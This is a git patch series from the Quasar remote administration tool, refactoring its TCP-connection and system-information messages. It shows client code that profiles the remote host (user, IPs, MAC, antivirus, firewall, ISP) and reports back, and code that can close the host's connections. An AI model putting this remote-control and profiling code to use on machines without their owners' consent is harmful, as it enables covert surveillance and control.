Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 - MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR - Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp - Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P - SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp - Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa - E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr - JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE - PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq - I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn - IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo - If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh - Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp - Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo - If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp - Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u - J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 - M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e - F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq - I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== - - - \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index 6a38437f3..32c0d064b 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -299,12 +299,6 @@ FrmTaskManager.cs - - Form - - - FrmTermsOfUse.cs - Form @@ -399,9 +393,6 @@ FrmTaskManager.cs - - FrmTermsOfUse.cs - FrmUploadAndExecute.cs From 6b156bbb078cd435d44414e60f1d5a98300caef2 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 16 Sep 2018 14:21:03 +0200 Subject: [PATCH 119/229] Refactor TCP Connection Manager and System Information --- Client/Client.csproj | 3 +- Client/Core/Commands/ConnectionHandler.cs | 1 + Client/Core/Commands/FileHandler.cs | 1 + Client/Core/Commands/MiscHandler.cs | 1 + Client/Core/Commands/SurveillanceHandler.cs | 1 + Client/Core/Commands/SystemHandler.cs | 59 ++---- ...onsHandler.cs => TcpConnectionsHandler.cs} | 57 +++--- Client/Core/Utilities/FileSplit.cs | 167 ----------------- Quasar.Common/Enums/ConnectionState.cs | 18 ++ .../IO}/FileSplit.cs | 4 +- Quasar.Common/Messages/DoCloseConnection.cs | 10 +- .../Messages/GetConnectionsResponse.cs | 18 +- .../Messages/GetSystemInfoResponse.cs | 4 +- Quasar.Common/Messages/MessageHandler.cs | 4 +- Quasar.Common/Models/TcpConnection.cs | 27 +++ Quasar.Common/Networking/ISender.cs | 1 + Quasar.Common/Quasar.Common.csproj | 3 + Server/Core/Commands/ConnectionHandler.cs | 6 +- Server/Core/Commands/FileManagerHandler.cs | 12 +- Server/Core/Commands/SurveillanceHandler.cs | 1 + Server/Core/Commands/SystemHandler.cs | 38 ---- .../Core/Commands/SystemInformationHandler.cs | 74 ++++++++ Server/Core/Commands/TCPConnectionsHandler.cs | 64 ------- Server/Core/Commands/TcpConnectionsHandler.cs | 77 ++++++++ Server/Core/Networking/Client.cs | 17 ++ Server/Core/Networking/PacketHandler.cs | 9 - Server/Core/Networking/UserState.cs | 6 - Server/Forms/FrmConnections.cs | 154 ++++++++++------ Server/Forms/FrmMain.cs | 28 +-- Server/Forms/FrmSystemInformation.cs | 171 +++++++++++------- Server/Server.csproj | 4 +- 31 files changed, 516 insertions(+), 524 deletions(-) rename Client/Core/Commands/{TCPConnectionsHandler.cs => TcpConnectionsHandler.cs} (74%) delete mode 100644 Client/Core/Utilities/FileSplit.cs create mode 100644 Quasar.Common/Enums/ConnectionState.cs rename {Server/Core/Utilities => Quasar.Common/IO}/FileSplit.cs (98%) create mode 100644 Quasar.Common/Models/TcpConnection.cs create mode 100644 Server/Core/Commands/SystemInformationHandler.cs delete mode 100644 Server/Core/Commands/TCPConnectionsHandler.cs create mode 100644 Server/Core/Commands/TcpConnectionsHandler.cs diff --git a/Client/Client.csproj b/Client/Client.csproj index 68b6626b4..ac10fefc5 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -95,7 +95,7 @@ - + @@ -132,7 +132,6 @@ - diff --git a/Client/Core/Commands/ConnectionHandler.cs b/Client/Core/Commands/ConnectionHandler.cs index 24cdcd367..e7a59f256 100644 --- a/Client/Core/Commands/ConnectionHandler.cs +++ b/Client/Core/Commands/ConnectionHandler.cs @@ -1,6 +1,7 @@ using System; using System.Net; using System.Threading; +using Quasar.Common.IO; using Quasar.Common.Messages; using xClient.Config; using xClient.Core.Data; diff --git a/Client/Core/Commands/FileHandler.cs b/Client/Core/Commands/FileHandler.cs index 401c1db69..c722ce54d 100644 --- a/Client/Core/Commands/FileHandler.cs +++ b/Client/Core/Commands/FileHandler.cs @@ -3,6 +3,7 @@ using System.Security; using System.Threading; using Quasar.Common.Enums; +using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Models; using xClient.Core.Helper; diff --git a/Client/Core/Commands/MiscHandler.cs b/Client/Core/Commands/MiscHandler.cs index e36c40938..fdc7838c4 100644 --- a/Client/Core/Commands/MiscHandler.cs +++ b/Client/Core/Commands/MiscHandler.cs @@ -4,6 +4,7 @@ using System.Net; using System.Threading; using System.Windows.Forms; +using Quasar.Common.IO; using Quasar.Common.Messages; using xClient.Core.Helper; using xClient.Core.Networking; diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs index e069d750d..cbe4f986a 100644 --- a/Client/Core/Commands/SurveillanceHandler.cs +++ b/Client/Core/Commands/SurveillanceHandler.cs @@ -9,6 +9,7 @@ using xClient.Core.Utilities; using System.Collections.Generic; using Quasar.Common.Enums; +using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Video; using Quasar.Common.Video.Codecs; diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index c2a724df6..fc3c19562 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -329,48 +329,29 @@ public static void HandleGetSystemInfo(GetSystemInfo command, Client client) var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; - - string[] infoCollection = new string[] + List> lstInfos = new List> { - "Processor (CPU)", - DevicesHelper.GetCpuName(), - "Memory (RAM)", - string.Format("{0} MB", DevicesHelper.GetTotalRamAmount()), - "Video Card (GPU)", - DevicesHelper.GetGpuName(), - "Username", - WindowsAccountHelper.GetName(), - "PC Name", - SystemHelper.GetPcName(), - "Domain Name", - domainName, - "Host Name", - hostName, - "System Drive", - Path.GetPathRoot(Environment.SystemDirectory), - "System Directory", - Environment.SystemDirectory, - "Uptime", - SystemHelper.GetUptime(), - "MAC Address", - DevicesHelper.GetMacAddress(), - "LAN IP Address", - DevicesHelper.GetLanIp(), - "WAN IP Address", - GeoLocationHelper.GeoInfo.Ip, - "Antivirus", - SystemHelper.GetAntivirus(), - "Firewall", - SystemHelper.GetFirewall(), - "Time Zone", - GeoLocationHelper.GeoInfo.Timezone, - "Country", - GeoLocationHelper.GeoInfo.Country, - "ISP", - GeoLocationHelper.GeoInfo.Isp + new Tuple("Processor (CPU)", DevicesHelper.GetCpuName()), + new Tuple("Memory (RAM)", $"{DevicesHelper.GetTotalRamAmount()} MB"), + new Tuple("Video Card (GPU)", DevicesHelper.GetGpuName()), + new Tuple("Username", WindowsAccountHelper.GetName()), + new Tuple("PC Name", SystemHelper.GetPcName()), + new Tuple("Domain Name", domainName), + new Tuple("Host Name", hostName), + new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), + new Tuple("System Directory", Environment.SystemDirectory), + new Tuple("Uptime", SystemHelper.GetUptime()), + new Tuple("MAC Address", DevicesHelper.GetMacAddress()), + new Tuple("LAN IP Address", DevicesHelper.GetLanIp()), + new Tuple("WAN IP Address", GeoLocationHelper.GeoInfo.Ip), + new Tuple("Antivirus", SystemHelper.GetAntivirus()), + new Tuple("Firewall", SystemHelper.GetFirewall()), + new Tuple("Time Zone", GeoLocationHelper.GeoInfo.Timezone), + new Tuple("Country", GeoLocationHelper.GeoInfo.Country), + new Tuple("ISP", GeoLocationHelper.GeoInfo.Isp) }; - client.Send(new GetSystemInfoResponse {SystemInfos = infoCollection}); + client.Send(new GetSystemInfoResponse {SystemInfos = lstInfos}); } catch { diff --git a/Client/Core/Commands/TCPConnectionsHandler.cs b/Client/Core/Commands/TcpConnectionsHandler.cs similarity index 74% rename from Client/Core/Commands/TCPConnectionsHandler.cs rename to Client/Core/Commands/TcpConnectionsHandler.cs index 3bb5322c6..1cbe4e1e0 100644 --- a/Client/Core/Commands/TCPConnectionsHandler.cs +++ b/Client/Core/Commands/TcpConnectionsHandler.cs @@ -2,7 +2,9 @@ using System.Diagnostics; using System.Net; using System.Runtime.InteropServices; +using Quasar.Common.Enums; using Quasar.Common.Messages; +using Quasar.Common.Models; using xClient.Core.Networking; namespace xClient.Core.Commands @@ -14,54 +16,48 @@ public static partial class CommandHandler public static void HandleGetConnections(Client client, GetConnections packet) { var table = GetTable(); - var processes = new string[table.Length]; - var localAddresses = new string[table.Length]; - var localPorts = new string[table.Length]; - var remoteAddresses = new string[table.Length]; - var remotePorts = new string[table.Length]; - var states = new byte[table.Length]; - for (var i = 0; i < table.Length; i++) - { - localAddresses[i] = table[i].LocalAddress.ToString(); - localPorts[i] = table[i].LocalPort.ToString(); - remoteAddresses[i] = table[i].RemoteAddress.ToString(); - remotePorts[i] = table[i].RemotePort.ToString(); - states[i] = Convert.ToByte(table[i].state); + var connections = new TcpConnection[table.Length]; + for (int i = 0; i < table.Length; i++) + { + string processName; try { - var p = Process.GetProcessById((int) table[i].owningPid); - processes[i] = p.ProcessName; + var p = Process.GetProcessById((int)table[i].owningPid); + processName = p.ProcessName; } catch { - processes[i] = string.Format("PID: {0}", table[i].owningPid); + processName = $"PID: {table[i].owningPid}"; } + + connections[i] = new TcpConnection { + ProcessName = processName, + LocalAddress = table[i].LocalAddress.ToString(), + LocalPort = table[i].LocalPort, + RemoteAddress = table[i].RemoteAddress.ToString(), + RemotePort = table[i].RemotePort, + State = (ConnectionState) table[i].state}; } - client.Send(new GetConnectionsResponse - { - Processes = processes, - LocalAddresses = localAddresses, - LocalPorts = localPorts, - RemoteAddresses = remoteAddresses, - RemotePorts = remotePorts, - States = states - }); + client.Send(new GetConnectionsResponse {Connections = connections}); } public static void HandleDoCloseConnection(Client client, DoCloseConnection packet) { var table = GetTable(); - var matchFound = false; // handle if connections's ports found + var matchFound = false; + for (var i = 0; i < table.Length; i++) { - //search for connection by Local and Remote Ports - if ((packet.LocalPort.ToString() == table[i].LocalPort.ToString()) && - (packet.RemotePort.ToString() == table[i].RemotePort.ToString())) - // it will close the connection only if client run as admin + //search for connection + if (packet.LocalAddress == table[i].LocalAddress.ToString() && + packet.LocalPort == table[i].LocalPort && + packet.RemoteAddress == table[i].RemoteAddress.ToString() && + packet.RemotePort== table[i].RemotePort) { + // it will close the connection only if client run as admin matchFound = true; //table[i].state = (byte)ConnectionStates.Delete_TCB; table[i].state = 12; // 12 for Delete_TCB state @@ -70,6 +66,7 @@ public static void HandleDoCloseConnection(Client client, DoCloseConnection pack SetTcpEntry(ptr); } } + if (matchFound) { HandleGetConnections(client, new GetConnections()); diff --git a/Client/Core/Utilities/FileSplit.cs b/Client/Core/Utilities/FileSplit.cs deleted file mode 100644 index e55d28857..000000000 --- a/Client/Core/Utilities/FileSplit.cs +++ /dev/null @@ -1,167 +0,0 @@ -using System; -using System.IO; - -namespace xClient.Core.Utilities -{ - public class FileSplit - { - private int _maxBlocks; - private readonly object _fileStreamLock = new object(); - private const int MAX_BLOCK_SIZE = 65535; - public string Path { get; private set; } - public string LastError { get; private set; } - - public int MaxBlocks - { - get - { - if (this._maxBlocks > 0 || this._maxBlocks == -1) - return this._maxBlocks; - try - { - FileInfo fInfo = new FileInfo(this.Path); - - if (!fInfo.Exists) - throw new FileNotFoundException(); - - this._maxBlocks = (int)Math.Ceiling(fInfo.Length / (double)MAX_BLOCK_SIZE); - } - catch (UnauthorizedAccessException) - { - this._maxBlocks = -1; - this.LastError = "Access denied"; - } - catch (IOException ex) - { - this._maxBlocks = -1; - - if (ex is FileNotFoundException) - this.LastError = "File not found"; - if (ex is PathTooLongException) - this.LastError = "Path is too long"; - } - - return this._maxBlocks; - } - } - - public FileSplit(string path) - { - this.Path = path; - } - - private int GetSize(long length) - { - return (length < MAX_BLOCK_SIZE) ? (int)length : MAX_BLOCK_SIZE; - } - - public bool ReadBlock(int blockNumber, out byte[] readBytes) - { - try - { - if (blockNumber > this.MaxBlocks) - throw new ArgumentOutOfRangeException(); - - lock (_fileStreamLock) - { - using (FileStream fStream = File.OpenRead(this.Path)) - { - if (blockNumber == 0) - { - fStream.Seek(0, SeekOrigin.Begin); - var length = fStream.Length - fStream.Position; - if (length < 0) - throw new IOException("negative length"); - readBytes = new byte[this.GetSize(length)]; - fStream.Read(readBytes, 0, readBytes.Length); - } - else - { - fStream.Seek(blockNumber * MAX_BLOCK_SIZE, SeekOrigin.Begin); - var length = fStream.Length - fStream.Position; - if (length < 0) - throw new IOException("negative length"); - readBytes = new byte[this.GetSize(length)]; - fStream.Read(readBytes, 0, readBytes.Length); - } - } - } - - return true; - } - catch (ArgumentOutOfRangeException) - { - readBytes = new byte[0]; - this.LastError = "BlockNumber bigger than MaxBlocks"; - } - catch (UnauthorizedAccessException) - { - readBytes = new byte[0]; - this.LastError = "Access denied"; - } - catch (IOException ex) - { - readBytes = new byte[0]; - - if (ex is FileNotFoundException) - this.LastError = "File not found"; - else if (ex is DirectoryNotFoundException) - this.LastError = "Directory not found"; - else if (ex is PathTooLongException) - this.LastError = "Path is too long"; - else - this.LastError = "Unable to read from File Stream"; - } - - return false; - } - - public bool AppendBlock(byte[] block, int blockNumber) - { - try - { - if (!File.Exists(this.Path) && blockNumber > 0) - throw new FileNotFoundException(); // previous file got deleted somehow, error - - lock (_fileStreamLock) - { - if (blockNumber == 0) - { - using (FileStream fStream = File.Open(this.Path, FileMode.Create, FileAccess.Write)) - { - fStream.Seek(0, SeekOrigin.Begin); - fStream.Write(block, 0, block.Length); - } - - return true; - } - - using (FileStream fStream = File.Open(this.Path, FileMode.Append, FileAccess.Write)) - { - fStream.Seek(blockNumber * MAX_BLOCK_SIZE, SeekOrigin.Begin); - fStream.Write(block, 0, block.Length); - } - } - - return true; - } - catch (UnauthorizedAccessException) - { - this.LastError = "Access denied"; - } - catch (IOException ex) - { - if (ex is FileNotFoundException) - this.LastError = "File not found"; - else if (ex is DirectoryNotFoundException) - this.LastError = "Directory not found"; - else if (ex is PathTooLongException) - this.LastError = "Path is too long"; - else - this.LastError = "Unable to write to File Stream"; - } - - return false; - } - } -} \ No newline at end of file diff --git a/Quasar.Common/Enums/ConnectionState.cs b/Quasar.Common/Enums/ConnectionState.cs new file mode 100644 index 000000000..ce42099d1 --- /dev/null +++ b/Quasar.Common/Enums/ConnectionState.cs @@ -0,0 +1,18 @@ +namespace Quasar.Common.Enums +{ + public enum ConnectionState : byte + { + Closed = 1, + Listening = 2, + SYN_Sent = 3, + Syn_Recieved = 4, + Established = 5, + Finish_Wait_1 = 6, + Finish_Wait_2 = 7, + Closed_Wait = 8, + Closing = 9, + Last_ACK = 10, + Time_Wait = 11, + Delete_TCB = 12 + } +} diff --git a/Server/Core/Utilities/FileSplit.cs b/Quasar.Common/IO/FileSplit.cs similarity index 98% rename from Server/Core/Utilities/FileSplit.cs rename to Quasar.Common/IO/FileSplit.cs index c0ad20b4a..a46e4ff8f 100644 --- a/Server/Core/Utilities/FileSplit.cs +++ b/Quasar.Common/IO/FileSplit.cs @@ -1,14 +1,14 @@ using System; using System.IO; -namespace xServer.Core.Utilities +namespace Quasar.Common.IO { public class FileSplit { private int _maxBlocks; private readonly object _fileStreamLock = new object(); private const int MAX_BLOCK_SIZE = 65535; - public string Path { get; private set; } + public string Path { get; } public string LastError { get; private set; } public int MaxBlocks diff --git a/Quasar.Common/Messages/DoCloseConnection.cs b/Quasar.Common/Messages/DoCloseConnection.cs index 9897c6d2c..a76498139 100644 --- a/Quasar.Common/Messages/DoCloseConnection.cs +++ b/Quasar.Common/Messages/DoCloseConnection.cs @@ -6,9 +6,15 @@ namespace Quasar.Common.Messages public class DoCloseConnection : IMessage { [ProtoMember(1)] - public int LocalPort { get; set; } + public string LocalAddress { get; set; } [ProtoMember(2)] - public int RemotePort { get; set; } + public ushort LocalPort { get; set; } + + [ProtoMember(3)] + public string RemoteAddress { get; set; } + + [ProtoMember(4)] + public ushort RemotePort { get; set; } } } diff --git a/Quasar.Common/Messages/GetConnectionsResponse.cs b/Quasar.Common/Messages/GetConnectionsResponse.cs index 5800e23b1..681a1ef32 100644 --- a/Quasar.Common/Messages/GetConnectionsResponse.cs +++ b/Quasar.Common/Messages/GetConnectionsResponse.cs @@ -1,4 +1,5 @@ using ProtoBuf; +using Quasar.Common.Models; namespace Quasar.Common.Messages { @@ -6,21 +7,6 @@ namespace Quasar.Common.Messages public class GetConnectionsResponse : IMessage { [ProtoMember(1)] - public string[] Processes { get; set; } - - [ProtoMember(2)] - public string[] LocalAddresses { get; set; } - - [ProtoMember(3)] - public string[] LocalPorts { get; set; } - - [ProtoMember(4)] - public string[] RemoteAddresses { get; set; } - - [ProtoMember(5)] - public string[] RemotePorts { get; set; } - - [ProtoMember(6)] - public byte[] States { get; set; } + public TcpConnection[] Connections { get; set; } } } diff --git a/Quasar.Common/Messages/GetSystemInfoResponse.cs b/Quasar.Common/Messages/GetSystemInfoResponse.cs index e4ef664d8..ff7243b5e 100644 --- a/Quasar.Common/Messages/GetSystemInfoResponse.cs +++ b/Quasar.Common/Messages/GetSystemInfoResponse.cs @@ -1,4 +1,6 @@ using ProtoBuf; +using System; +using System.Collections.Generic; namespace Quasar.Common.Messages { @@ -6,6 +8,6 @@ namespace Quasar.Common.Messages public class GetSystemInfoResponse : IMessage { [ProtoMember(1)] - public string[] SystemInfos { get; set; } + public List> SystemInfos { get; set; } } } diff --git a/Quasar.Common/Messages/MessageHandler.cs b/Quasar.Common/Messages/MessageHandler.cs index 299066c0c..59467af1e 100644 --- a/Quasar.Common/Messages/MessageHandler.cs +++ b/Quasar.Common/Messages/MessageHandler.cs @@ -10,12 +10,12 @@ namespace Quasar.Common.Messages public static class MessageHandler { /// - /// Thread-safe list of registered s. + /// List of registered s. /// private static readonly List Processors = new List(); /// - /// Used in lock statements to synchronize access between threads. + /// Used in lock statements to synchronize access to between threads. /// private static readonly object SyncLock = new object(); diff --git a/Quasar.Common/Models/TcpConnection.cs b/Quasar.Common/Models/TcpConnection.cs new file mode 100644 index 000000000..40c4538cb --- /dev/null +++ b/Quasar.Common/Models/TcpConnection.cs @@ -0,0 +1,27 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Models +{ + [ProtoContract] + public class TcpConnection + { + [ProtoMember(1)] + public string ProcessName { get; set; } + + [ProtoMember(2)] + public string LocalAddress { get; set; } + + [ProtoMember(3)] + public ushort LocalPort { get; set; } + + [ProtoMember(4)] + public string RemoteAddress { get; set; } + + [ProtoMember(5)] + public ushort RemotePort { get; set; } + + [ProtoMember(6)] + public ConnectionState State { get; set; } + } +} diff --git a/Quasar.Common/Networking/ISender.cs b/Quasar.Common/Networking/ISender.cs index 813e7c666..371105a45 100644 --- a/Quasar.Common/Networking/ISender.cs +++ b/Quasar.Common/Networking/ISender.cs @@ -5,5 +5,6 @@ namespace Quasar.Common.Networking public interface ISender { void Send(T message) where T : IMessage; + void Disconnect(); } } diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index 38ed87038..520539bca 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -45,6 +45,7 @@ + @@ -57,6 +58,7 @@ + @@ -140,6 +142,7 @@ + diff --git a/Server/Core/Commands/ConnectionHandler.cs b/Server/Core/Commands/ConnectionHandler.cs index 256ed2d6f..02cbf5f29 100644 --- a/Server/Core/Commands/ConnectionHandler.cs +++ b/Server/Core/Commands/ConnectionHandler.cs @@ -1,7 +1,6 @@ using System.IO; using System.Windows.Forms; using Quasar.Common.Messages; -using xServer.Core.Data; using xServer.Core.Helper; using xServer.Core.Networking; using xServer.Forms; @@ -35,8 +34,9 @@ public static void HandleGetAuthenticationResponse(Client client, GetAuthenticat Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.Value.UserAtPc, client.Value.Id.Substring(0, 7))) : Path.Combine(Application.StartupPath, string.Format("Clients\\{0}_{1}\\", client.EndPoint.Address, client.Value.Id.Substring(0, 7))); - if (Settings.ShowToolTip) - client.Send(new GetSystemInfo()); + // TODO: Refactor tooltip + //if (Settings.ShowToolTip) + // client.Send(new GetSystemInfo()); } catch { diff --git a/Server/Core/Commands/FileManagerHandler.cs b/Server/Core/Commands/FileManagerHandler.cs index a094ee44a..50e9f1752 100644 --- a/Server/Core/Commands/FileManagerHandler.cs +++ b/Server/Core/Commands/FileManagerHandler.cs @@ -1,4 +1,5 @@ using Quasar.Common.Enums; +using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; @@ -9,7 +10,6 @@ using System.Threading; using xServer.Core.Helper; using xServer.Core.Networking; -using xServer.Core.Utilities; using xServer.Enums; using xServer.Models; @@ -109,7 +109,7 @@ private void OnFileTransferUpdated(FileTransfer transfer) /// /// Keeps track of all active file transfers. Finished or canceled transfers get removed. /// - private readonly List _activeFileTransfers; + private readonly List _activeFileTransfers = new List(); /// /// Used in lock statements to synchronize access between UI thread and thread pool. @@ -138,7 +138,6 @@ private void OnFileTransferUpdated(FileTransfer transfer) public FileManagerHandler(Client client) : base(true) { _client = client; - _activeFileTransfers = new List(); _baseDownloadPath = client.Value.DownloadDirectory; } @@ -353,16 +352,11 @@ private void Execute(ISender client, DoDownloadFileResponse message) if (transfer == null) { - if (message.CurrentBlock != 0) - { - // TODO: disconnect client - } - // don't escape from download directory if (FileHelper.CheckPathForIllegalChars(message.Filename)) { // disconnect malicious client - // TODO: client.Disconnect(); + client.Disconnect(); return; } diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index 5a2fc2341..fa1db43e3 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -3,6 +3,7 @@ using System.Linq; using System.Drawing; using System.Threading; +using Quasar.Common.IO; using Quasar.Common.Messages; using xServer.Core.Data; using xServer.Core.Helper; diff --git a/Server/Core/Commands/SystemHandler.cs b/Server/Core/Commands/SystemHandler.cs index 994b9dd89..c046b82a6 100644 --- a/Server/Core/Commands/SystemHandler.cs +++ b/Server/Core/Commands/SystemHandler.cs @@ -1,51 +1,13 @@ using Quasar.Common.Messages; using System; -using System.Text; using System.Windows.Forms; -using xServer.Core.Data; using xServer.Core.Networking; -using xServer.Forms; namespace xServer.Core.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE SYSTEM (drives, directories, files, etc.). */ public static partial class CommandHandler { - public static void HandleGetSystemInfoResponse(Client client, GetSystemInfoResponse packet) - { - if (packet.SystemInfos == null) - return; - - if (Settings.ShowToolTip) - { - var builder = new StringBuilder(); - for 